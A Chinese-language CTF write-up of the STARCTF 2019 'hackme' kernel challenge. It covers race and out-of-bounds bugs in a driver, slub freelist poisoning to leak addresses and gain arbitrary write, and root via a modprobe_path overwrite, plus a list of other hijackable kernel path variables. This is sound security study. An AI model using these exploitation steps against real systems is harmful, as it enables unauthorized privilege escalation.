本文通过分析STARCTF 2019 hackme 题目,来总结一下提权时可修改的变量。不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量,然后一定条件触发即可提权。
参考:
http://p4nda.top/2019/05/01/starctf-2019-hackme/
http://powerofcommunity.net/poc2016/x82.pdf
〇、知识点
(1)内核堆分配释放规则:基于slub
分配器,其释放过的堆块类似于glibc
的fastbin
,首先是一种后入先出结构,并且其存在FD
指针指向下一块空闲的块。构造单链结构即可泄露堆地址,并构造任意地址写——类似fast bin attack。
(2)如何泄露kernel_base: 猜测module的第一个堆块之前是已经在使用的系统块,上面可能存在一些内核指针。
(3)如何泄露module加载地址,除了cat /proc/kallsyms | grep module_name
。
kernel中的mod_tree处存放着各个加载模块的地址;cat /proc/kallsyms | grep mod_tree
即可。
(4)任意写到提权新姿势:劫持modprobe_path,然后通过执行一个错误的elf文件,触发。
一、漏洞分析
内核与用户交互接口是0x20的数据结构:
00000000 hackme struc ; (sizeof=0x20, mappedto_3)
00000000 idx dq ?
00000008 user_buf dq ?
00000010 len dq ?
00000018 offset dq ?
00000020 hackme ends
0x30001 free
signed __int64 __fastcall hackme_ioctl(__int64 fd, unsigned int cmd, __int64 hackme)
{
cmd2 = cmd;
v4 = hackme;
copy_from_user(&hackme2, hackme, 32LL);
//释放后指针清零_release
if ( cmd2 == 0x30001 )
{
index = 2LL * LODWORD(hackme2.idx);
chunk = pool[index];
addr = &pool[index];
if ( chunk )
{
kfree(chunk, v4);
*addr = 0LL;
return 0LL;
}
return -1LL;
}
0x30002 write
//从用户空间读取数据写入内核空间-write
if ( cmd2 == 0x30002 )
{
index2 = 2LL * LODWORD(hackme2.idx);
chunk2 = pool[index2];
addr2 = &pool[index2];
if ( chunk2 && hackme2.offset + hackme2.len <= (unsigned __int64)addr2[1] )
{
copy_from_user(hackme2.offset + chunk2, hackme2.user_buf, hackme2.len);
return 0LL;
}
}
0x30003 read
//从内核空间读取数据写入用户空间
if ( cmd2 == 0x30003 )
{
index3 = 2LL * LODWORD(hackme2.idx);
chun3 = pool[index3];
addr3 = &pool[index3];
if ( chunk3 )
{
if ( hackme2.offset + hackme2.len <= (unsigned __int64)addr3[1] )
{
copy_to_user(hackme2.user_buf, hackme2.offset + chun3, hackme2.len);
return 0LL;
}
}
}
0x30000 alloc
//分配chunk并读取用户数据存入chunk
if ( cmd2 != 0x30000 )
return -1LL;
len = hackme2.len;
user_buf = hackme2.user_buf;
addr4 = &pool[2 * LODWORD(hackme2.idx)];
if ( *addr4 )
return -1LL;
chunk4 = _kmalloc(hackme2.len, 0x6000C0LL);
if ( !chunk4 )
return -1LL;
*addr4 = chunk4;
copy_from_user(chunk4, user_buf, len);
addr4[1] = len;
return 0LL;
漏洞分析:全局数组pool存内核chunk地址+chunk大小,对这个数组的存取缺少锁操作,并且内核以多线程启动,明显存在竞争漏洞,如果释放内存后立刻竞争读写堆块,触发UAF。
越界读写问题:write和read时未检查访问的地址偏移offset,为负数时可向上越界写任意长度内存。
保护:开启KASLR、SMEP、SMAP。
二、漏洞利用
(1)思路一修改cred(取巧)
修改cred:喷射大量cred在申请的内存前,通过向前越界读搜索到cred结构体,再将cred结构体的uid等值覆盖为0。但问题是,WCTF
提到过,内核cred
采用了cred_jar
这个新的kmem_cache
,与kmalloc
使用的kmalloc-xx
是隔离的,而且在尝试的过程中发现可以找到分配出来的cred
结构体,但是在覆写过程中貌似在内存里存在保护的hole
,当调研copy_from_user
从cred覆写到我们kmalloc
的块时,会出现kernel panic
,提示在写一块non whitelist
的内存。
由于利用的时候堆块len都是0x100,必须覆写这么大的长度;其实可以控制驱动模块bss
段上的size成员,实现局部写,直接修改结构体。
(2)地址泄露
堆地址泄露:
基于slub
分配器,其释放过的堆块类似于glibc
的fastbin
,首先是一种后入先出结构,并且其存在FD
指针指向下一块空闲的块。
alloc(fd,0,mem,0x100);
alloc(fd,1,mem,0x100);
alloc(fd,2,mem,0x100);
alloc(fd,3,mem,0x100);
alloc(fd,4,mem,0x100);
delete(fd,1);
delete(fd,3);
read_from_kernel(fd,4,mem,0x100,-0x100);
heap_addr = *((size_t *)mem);
printf("[+] heap addr : %16llx\n",heap_addr );
#释放1、3 后pool 内容
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500 0x0000000000000100
0xffffffffc0002410: 0x0000000000000000 0x0000000000000100
0xffffffffc0002420: 0xffff88800017a700 0x0000000000000100
0xffffffffc0002430: 0x0000000000000000 0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900 0x0000000000000100
#释放的2个堆块内容
pwndbg> x /6gx 0xffff88800017a600
0xffff88800017a600: 0xffff88800017aa00 0x4141414141414141
0xffff88800017a610: 0x4141414141414141 0x4141414141414141
0xffff88800017a620: 0x4141414141414141 0x4141414141414141
pwndbg> x /6gx 0xffff88800017a800
0xffff88800017a800: 0xffff88800017a600 0x4141414141414141
0xffff88800017a810: 0x4141414141414141 0x4141414141414141
0xffff88800017a820: 0x4141414141414141 0x4141414141414141
利用4号chunk向前越界读即可读出堆地址。
内核基址:
猜测:0
号内存0xffff88800017a500
之前是已经在用的系统块,那么一定存在一些内核的指针。
证实:查看首个模块创建的堆块之前的内存,看看哪一个落在内核空间即可。
read_from_kernel(fd,0,mem,0x200,-0x200);
kernel_addr = *((size_t *)(mem+0x28)) ;
if ((kernel_addr & 0xfff) != 0xae0){
printf("[-] maybe bad kernel leak : %16llx\n",kernel_addr);
exit(-1);
}
kernel_addr -= 0x849ae0; //0x849ae0 - sysctl_table_root
printf("[+] kernel addr : %16llx\n",kernel_addr );
#首个块之前的数据 ,内核基址是 0xffffffffb6000000
(gdb) x /100xg 0xffffa0ff8017a500-0x200
0xffffa0ff8017a300: 0xffffa0ff8017a378 0x0000000100000000
0xffffa0ff8017a310: 0x0000000000000001 0x0000000000000000
0xffffa0ff8017a320: 0xffffa0ff8017a378 0xffffffffb6849ae0 <---
0xffffa0ff8017a330: 0xffffffffb6849ae0 0xffffa0ff80015100
模块地址:
类似fastbin attack,构造任意地址读写。内核中mod_tree
处存放着各个模块的加载地址。cat /proc/kallsyms |grep mod_tree
即可找到。
查找hackme加载地址在mod_tree中偏移:
/home/pwn # cat /proc/kallsyms | grep mod_tree
ffffffff81811000 d mod_tree
/home/pwn # cat /proc/kallsyms | grep hackme
ffffffffc0000000 t hackme_ioctl [hackme]
peda> x /20gx 0xffffffff81811000
0xffffffff81811000: 0x0000000000000006 0xffffffffc0002320
0xffffffff81811010: 0xffffffffc0002338 0xffffffffc0000000 <----
"fastbin attack"构造任意读写:
#溢出修改fd后,第3个chunk内存(释放块)变为:
peda> x /10gx 0xffff88800017a800
0xffff88800017a800: 0xffffffff81811040 0x4141414141414141
#连续alloc两次即可拿到内核地址:
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500 0x0000000000000100 #0
0xffffffffc0002410: 0x0000000000000000 0x0000000000000100 #1
0xffffffffc0002420: 0xffff88800017a700 0x0000000000000100 #2
0xffffffffc0002430: 0x0000000000000000 0x0000000000000100 #3
0xffffffffc0002440: 0xffff88800017a900 0x0000000000000100 #4
0xffffffffc0002450: 0xffff88800017a800 0x0000000000000100 #5
0xffffffffc0002460: 0xffffffff81811040 0x0000000000000100 #6 <-------
泄露hackme加载地址的代码如下(尽量采用负数越界读的方法泄露地址,防止复制毁坏数据):
memset(mem,'A',0x100);
*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,5,mem,0x100);
alloc(fd,6,mem,0x100);
read_from_kernel(fd,6,mem,0x40,-0x40);
mod_addr = *((size_t *)(mem+0x18)) ;
printf("[+] mod addr : %16llx\n",mod_addr );
(3)内存任意写
泄露内核基址后,可再次利用"fastbin attack"将.bss
段的pool
申请下来。
//使得新块申请到pool的0xc0偏移处。 第12个块
delete(fd,2);
delete(fd,5);
*((size_t *)mem) = (0x2400 + mod_addr + 0xc0); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,7,mem,0x100);
alloc(fd,8,mem,0x100); // pool
#第8个块处拿到pool地址
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500 0x0000000000000100
0xffffffffc0002410: 0x0000000000000000 0x0000000000000100
0xffffffffc0002420: 0x0000000000000000 0x0000000000000100
0xffffffffc0002430: 0x0000000000000000 0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900 0x0000000000000100
0xffffffffc0002450: 0x0000000000000000 0x0000000000000100
0xffffffffc0002460: 0xffffffff81811040 0x0000000000000100
0xffffffffc0002470: 0xffff88800017a800 0x0000000000000100
0xffffffffc0002480: 0xffffffffc00024c0 0x0000000000000100 # <----------
0xffffffffc0002490: 0x0000000000000000 0x0000000000000000
由此可向pool项中增加任意想写的地址和len,造成任意地址写。
(4)权限提升
新方法:修改modprobe_path指向bash脚本,利用一个非正确格式的ELF文件触发。
*((size_t *)(mem+0x8)) = 0x100;
*((size_t *)mem) = (0x83f960 + kernel_addr ); //ffffffff8183f960 D modprobe_path
write_to_kernel(fd,8,mem,0x10,0);
strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");
system("cat flag");
三、总结提权时可劫持的变量
不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。
(1) modprobe_path
// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
argv[0] = modprobe_path;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
__request_module - try to load a kernel module
触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。
(2)poweroff_cmd
// /kernel/reboot.c
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
argv = argv_split(GFP_KERNEL, cmd, NULL);
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)
ret = run_cmd(poweroff_cmd);
触发:执行__orderly_poweroff()即可。
(3)uevent_helper
// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{ ......
env->argv[0] = uevent_helper;
...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
char *envp_ext[])
{......
retval = init_uevent_argv(env, subsystem);
info = call_usermodehelper_setup(env->argv[0], env->argv,
env->envp, GFP_KERNEL,
NULL, cleanup_uevent_env, env);
......}
(4)ocfs2_hb_ctl_path
// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
argv[0] = ocfs2_hb_ctl_path;
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
(5)nfs_cache_getent_prog
// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
"/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
char *argv[] = {
nfs_cache_getent_prog,
cd->name,
entry_name,
NULL
};
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
(6)cltrack_prog
// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
argv[0] = (char *)cltrack_prog;
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
网友评论